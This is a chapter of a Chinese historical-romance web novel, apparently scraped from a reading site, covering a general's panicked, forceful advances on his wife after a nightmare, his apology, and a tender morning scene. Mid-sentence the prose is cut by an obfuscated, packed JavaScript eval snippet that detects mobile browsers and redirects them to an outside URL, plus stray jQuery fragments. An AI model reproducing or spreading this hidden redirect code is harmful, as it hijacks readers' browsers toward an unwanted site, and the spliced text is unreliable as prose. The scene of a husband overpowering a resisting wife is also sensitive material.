默认冷灰
24号文字
方正启体

73. 失控

作者:歇雨潇潇本书字数:K更新时间:
    “是我没有保护好你,是我没有保护好你——”他的声音沙哑破碎,一遍又一遍重复着这句话,像是魔怔了。


    姚知韫被他抱得死紧,能感觉到他的身子还在发抖。她想说什么,可他只是不停地说着,语无伦次,颠来倒去,像是陷在什么里面出不来。


    忽然,他的声音变了调,“不,那只是一个梦,只是一个梦——””


    他看着她,那双眼睛里有恐惧,有迷茫,还有一种她看不懂的东西,很深,很沉,像是隔着一层雾,怎么也看不透。


    他喃喃地开口,声音轻得像呓语:“你……是真的吗?”


    姚知韫愣住,可他好似并不要她的回答,他伸出手,抚上她的脸,冰凉的指尖从眉骨到脸颊,从脸颊到下颌,一寸一寸,细细地描摹着。指尖触到的皮肤温热柔软,带着夜里微微的潮意。


    “还是……现在的我才是在做梦?”


    他分不清了。


    究竟是他重活了一世,还是那只是一个长长的梦?又或者,此刻的这一切——怀里这个暖的、活的、会说话的人——才是他做的一个梦?


    他不知道。


    他只知道,他太怕了,怕一松手,她又变成那座空坟里的一无所有。


    然后,他低下头,小心翼翼地吻上她的额角,那里是暖的。


    又吻上她的眉心,也是暖的。


    吻上她的眼睑,她轻轻颤了一下,睫毛扫过他的唇,痒痒的,是真的。


    最后,他猛地低下头,印在她的唇上。


    带着几分狂乱,几乎失控的他,像是溺水的人抓住唯一的浮木,又像是失明的人终于看见光,只能用这样的方式确认,确认她就在这里,在身边,在他的怀里。


    他的吻毫无章法,又急又重,撬开她的贝齿,缠住她的舌。箍在她身上的手紧得几乎要捏碎她的骨头,像是要把她揉进自己身体里,再也不分开。


    他的手在她身上游移,微凉的指尖带着颤抖,却在触到她温热的肌肤后,渐渐变得滚烫。粗重的呼吸笼罩着她,灼热又混乱。他甚至不敢闭上眼睛,就那么看着她,看着她的眉眼,她的唇,她身上每一寸被他吻过的地方。


    姚知韫被他吻得喘不过气,身子被箍得生疼,她想推开他,可那力道大得吓人,她根本动不了。


    氛围一点点失控。


    她怕了。


    在这样的情况下,她甚至反抗不了。


    “霍抉——”她只能唤着他的名字,希望能将他唤醒。可那声音被他的吻碾碎,断断续续地逸出,他恍若未闻。


    他的手已经伸进了她的衣裙,带着滚烫的温度,贴在她腰间的肌肤上。


    “霍抉——”,姚知韫趁着他的吻下滑到她高耸的丰盈处,提高了声音。她提高了声音。


    霍抉猛然顿住,停下所有的动作,那双狂乱的眼睛里,映出她的脸——微蹙的眉,泛红的眼眶,还有被自己吻得红肿的唇。


    他像是被人狠狠打了一拳,整个人僵住了。


    箍着她的手一点一点松开。


    “对不起,对不起——”,他将愧疚与心疼都融在那一声声的“对不起”里。


    他伸出手,想碰碰她的脸,又害怕看到她的退缩,手指悬在半空,顿了顿,才小心翼翼地落上去——极轻极轻的,像是怕再弄疼她一点。


    她没有躲。


    也没有动。


    他就那样看着她,看了很久,确定她没有害怕,她还愿意被他触碰,才敢小心翼翼地将她揽进怀里。


    这一次,轻得像托着一捧水。


    两个人都没有再说话。


    屋子里静静的,只有彼此的呼吸,和还没完全平复下来的心跳。


    清晨,霍抉轻轻一动,姚知韫便醒了。


    她没有睁开眼睛,只是静静地躺着,听着身边悉悉索索的声音——他起身,穿衣,系带,动作轻得像怕惊着什么。


    脚步声渐渐远去,门被轻轻带上。


    她睁开眼睛,窗帘遮得严严实实的,她翻身起床,站在窗边,掀开窗帘的一角,外面还黑着,只有天边透出一线极淡的青光,院子里昏沉沉的,只有廊下那盏灯笼透出一点微弱的光。


    霍抉站在院子里,他穿着一件单薄的短褐,袖口挽到手肘,露出一截精壮的小臂,手里拿着一杆长枪,枪身乌黑,枪尖泛着冷冷的寒光,在昏暗里格外扎眼。


    他单手握住枪杆,深吸一口气。


    然后,枪身一抖,枪尖在空气中划出一道弧线,带着低沉的呼啸,他步伐沉稳,进退有度,枪花挽得又快又密,寒光点点,像是无数条银蛇在晨光里翻飞。


    横扫,挑刺,回马,穿云,每一式都凌厉至极。


    枪风带起院中的尘土,卷起一圈圈漩涡。那长枪在他手中仿佛活了过来,时而如蛟龙出海,时而如灵蛇吐信,时而又如猛虎下山,势不可挡,每一□□出去都带着一股凌厉的杀意。


    姚知韫隔着窗,静静地看着。


    她从没见过他使枪,


    成婚才两日,她似乎见到了多面的他,身着朝服的冷峻,提起二皇子时的戾气,昨夜梦魇时的脆弱。


    此刻的他,眉眼冷峻,目光凝沉,那是在战场上练出来的。是杀过人、见过血、从尸山血海里爬出来的人才有的锋芒。


    这才是真正的他,每一面,温柔体贴的,冷峻凌厉的,脆弱无助的,还有此刻英姿飒爽的,可她没有害怕,反而为认识到他的多面而欢欣鼓舞。


    她就那么隔着窗,看着他出枪,收枪,转身,再出枪。


    晨光一点一点亮起来,渐渐勾勒出他的轮廓。


    枪法越舞越快,最后他凌空跃起,一□□出,枪尖破空,发出一声尖锐的啸鸣。


    看着他枪花翻飞,那寒光点点,一下一下,像是在她心里挠着什么。


    她忽然有了一种冲动,说不上来是什么,就是想出去,站在院子里,离他近一点,再近一点,亲眼看着那枪尖划破晨光。


    穿衣,系带,披上斗篷,动作一气呵成,那一件月白色的斗篷,是霍抉送她的,软软的,暖暖的,裹在身上像一团云。


    走到门口,她顿了顿,回头看见衣架上挂着他的那件玄色斗篷,那是他昨日穿的,厚实,挺括,带着他身上那种清冽的气息。


    她伸手拿下来,抱在怀里。


    推开门。


    寒气一下子涌进来,薄薄的,凉凉的,带着清晨特有的那股清新,院子里,霍抉还站在那里,背对着她。


    听见门响,他回过头。


    她站在门口,月白的斗篷裹着身子,怀里抱着他的玄色斗篷,脸上挂着浅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377575|195694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    浅的笑意,眼睛却亮亮的,盛着满院的晨光。


    他愣了一下,将枪靠在墙边,快步地走向她,伸手将她身上的斗篷又拢紧了些。


    “怎么出来了?冷不冷?”


    她没有说话,只是把怀里的斗篷抖开,想给他披上,可他太高了,她踮起脚尖还是够不到。


    他笑了,眼中坠着星光,弯下腰将肩膀放低,看着她给他披上斗篷,又认真地替他系好系带。


    他看着她微微垂下的眼睫,她的脸庞镀上一层淡金色,心里一下子便软了下来,犹豫着想吻一下她的额头,又怕吓到她。


    正犹豫着,姚知韫忽然踮起脚尖,在他的唇边轻轻吻了一下。


    “早安。”


    他愣了愣,半晌才讷讷地回了一句:“早安”。


    晨光在两人之间铺开一层淡淡的金色。


    姚知韫看着他愣住的模样,忍不住又笑了,那双眼睛弯成两弯月牙,盛着狡黠的光。


    “傻了?”她问。


    霍抉没有回答。


    他只是伸出手,把她轻轻揽进怀里。斗篷的玄色和月白混在一起,两个人的体温也混在一起。


    “再亲一下。”他的声音低低地,带着一丝慵懒,又似乎是一丝魅惑。


    姚知韫愣了一下,随即脸红起来,把脸埋进他胸口。


    “不。”


    “就一下。”


    “刚才亲过了。”


    “那是你亲我,不算。”


    姚知韫从他怀里抬起头,瞪着他,嘟着嘴,“讨厌,”她的声音软软的,糯糯的,藏不住的娇羞,她举起拳头捶向他的胸口,他胸口硬邦邦的,像捶在石头上,“疼,”她把拳头收回来,自己揉了揉,委屈巴巴地看着他。


    霍抉低低地笑出了声,震得她的掌心也跟着颤了颤。他抓起她的手,轻轻揉着,满眼都是心疼。“我看看。”


    他低着头,指腹摩挲着她捶红的掌心,眉眼里那点笑意还在,却已染上了几分认真。


    姚知韫因羞恼脸微微泛红,抬眼便迎上了他的目光。


    那双眼睛离得太近,近得她能看见自己映在他瞳仁里的影子。她被看得心跳漏了一拍,下意识又想躲,他却轻轻托住她的下巴。


    他的唇落下来,温柔的、绵长的、带着凉意的。


    她闭上眼睛,踮起脚尖,双手环住他的脖颈,霍抉心中掠过狂喜,这是第一次她真真切切、主动地回应了他,他将她抱得更紧了。


    不知过了多久,他才松开她。


    姚知韫靠在他胸口,听着那颗心跳得又快又稳,忽然想起什么,抬起头问他:“你每日都这么早起来练枪?”


    “嗯。”


    他想了想,补了一句:“以后你若是想看我练,就等日头好的时候,我让青木在廊下摆一张摇椅,和从前一样,你就坐在那儿,坐着看。”


    “好”


    他将她被风吹乱的发丝掖到耳后,眼里带着笑意。


    “今天回门,我们先回姚府祭拜你的父母,再去趟昌平伯府。”


    昌平伯府?


    “合适吗?”


    姚知韫想起昨日皇上的那些话,看着他的目光便多了几分忧虑,皇上如此忌惮霍抉与崔家有牵连,除了二皇子那一层,怕也是不愿意文臣武将之间过往甚密。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)